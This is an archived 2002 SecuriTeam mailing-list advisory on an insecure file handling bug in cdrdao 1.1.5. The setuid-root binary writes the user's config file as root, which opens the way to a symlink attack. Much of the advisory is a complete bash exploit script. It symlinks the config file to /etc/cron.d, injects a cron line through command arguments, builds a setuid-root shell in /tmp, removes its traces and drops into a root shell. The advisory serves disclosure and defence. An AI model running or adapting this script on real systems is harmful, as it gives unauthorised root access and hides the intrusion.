

[UNIX] Cdrdao Insecure File Handling

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-01/0093.html>

From: support@securiteam.com

Date: 01/17/02

From: support@securiteam.com

To: list@securiteam.com

Date: Thu, 17 Jan 2002 09:23:37 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

Cdrdao Insecure File Handling

SUMMARY

<<http://cdrdao.sourceforge.net/index.html>> Cdrdao records audio or data CD-Rs in disk-at-once (DAO) mode based on a textual description of the CD contents. There are several security-related bugs in the distributed Debian (SID) Package of CDRDAO. /usr/bin/cdrdao is setuid-root by default allowing gaining of elevated privileges.

DETAILS

Vulnerable systems:

Cdrdao version 1.1.5

One of the feature cdrdao has is the ability to write a configuration file (Written to "\$HOME/.cdrdao"). Since it is written by the root user and not as the user who starts cdrdao, it is possible to include data on the written configfile thus it is possible to gain root via a symlink-attack on \$HOME/.cdrdao.

Exploit:

```
#!/bin/bash
```

```
## cdrdaohack.sh by Jens "atomi" Steube
```

Securiteam: [UNIX] Cdrdao Insecure File Handling

```
ROOTEXECDIR="/etc/cron.d/cdr"
CDRDAO="/usr/bin/cdrdao"
USERCONF="$HOME/.cdrdao"

echo "Testing $CDRDAO"
if [ ! -u $CDRDAO ]; then
    echo "ERROR: $CDRDAO is not setuid or does not exist"
    exit 1
fi

echo "Generating Helper Files"

cat > /tmp/daosh.c << EOF
int main () {
setuid(0); setgid(0);
unlink("/tmp/dao.sh");
unlink("/tmp/daosh.c");
unlink("/etc/cron.d/cdr");
unlink("$HOME/.cdrdao");
execl("/bin/bash", "bash", "-i", 0);
}
EOF

cat > /tmp/dao.sh << EOF
cc -o /tmp/daosh /tmp/daosh.c >/dev/null 2>&1
chown root /tmp/daosh >/dev/null 2>&1
chgrp root /tmp/daosh >/dev/null 2>&1
chmod 6755 /tmp/daosh >/dev/null 2>&1
exit 0
EOF

chmod 700 /tmp/dao.sh

echo "Backing up original $USERCONF file to $USERCONF.orig"
mv $USERCONF $USERCONF.orig >/dev/null 2>&1

echo "Creating Symlink on $USERCONF to $ROOTEXECDIR"
ln -s $ROOTEXECDIR $USERCONF

echo "Executing $CDRDAO"

$CDRDAO write --save --device '
* * * * * root /tmp/dao.sh >/dev/null 2>&1
#' --buffers '
'. >/dev/null 2>&1

echo "Waiting for Rootshell, wait at least 3 minutes"
while [ ! -u /tmp/daosh ]; do
    echo -n "."
    sleep 1
done
```

Securiteam: [UNIX] Cdrdao Insecure File Handling

```
echo  
echo "Entering Rootshell and removing Helper Files"  
echo "Have Phun :-)"  
/tmp/daosh
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:jsteube@lastflood.com>> Jens Steube.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[UNIX] Kerberos 5 Core Dump Security Vulnerability"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)